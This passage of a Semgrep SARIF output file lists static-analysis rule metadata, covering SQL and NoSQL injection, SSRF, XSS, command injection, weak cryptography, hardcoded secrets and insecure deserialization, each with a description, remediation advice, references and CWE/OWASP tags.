unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","id":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","name":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","id":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","name":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"help":{"markdown":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"help":{"markdown":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","id":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","name":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","id":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","name":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking","id":"swift.insecure-communication.ats.ats-local.ATS-local-networking","name":"swift.insecure-communication.ats.ats-local.ATS-local-networking","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-local.ATS-local-networking"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","id":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","name":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"help":{"markdown":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","id":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","name":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"help":{"markdown":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","id":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","name":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"help":{"markdown":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf)\n","text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"helpUri":"https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","id":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","name":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"help":{"markdown":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"helpUri":"https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection","id":"swift.sql.sqlilite-injection.swift-sqlite-injection","name":"swift.sql.sqlilite-injection.swift-sqlite-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: swift.sql.sqlilite-injection.swift-sqlite-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"helpUri":"https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","id":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","name":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-child-process.express-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"helpUri":"https://semgrep.dev/r/javascript.express.express-child-process.express-child-process","id":"javascript.express.express-child-process.express-child-process","name":"javascript.express.express-child-process.express-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-child-process.express-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Key vault Secret should have a content type set"},"help":{"markdown":"Key vault Secret should have a content type set\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Key vault Secret should have a content type 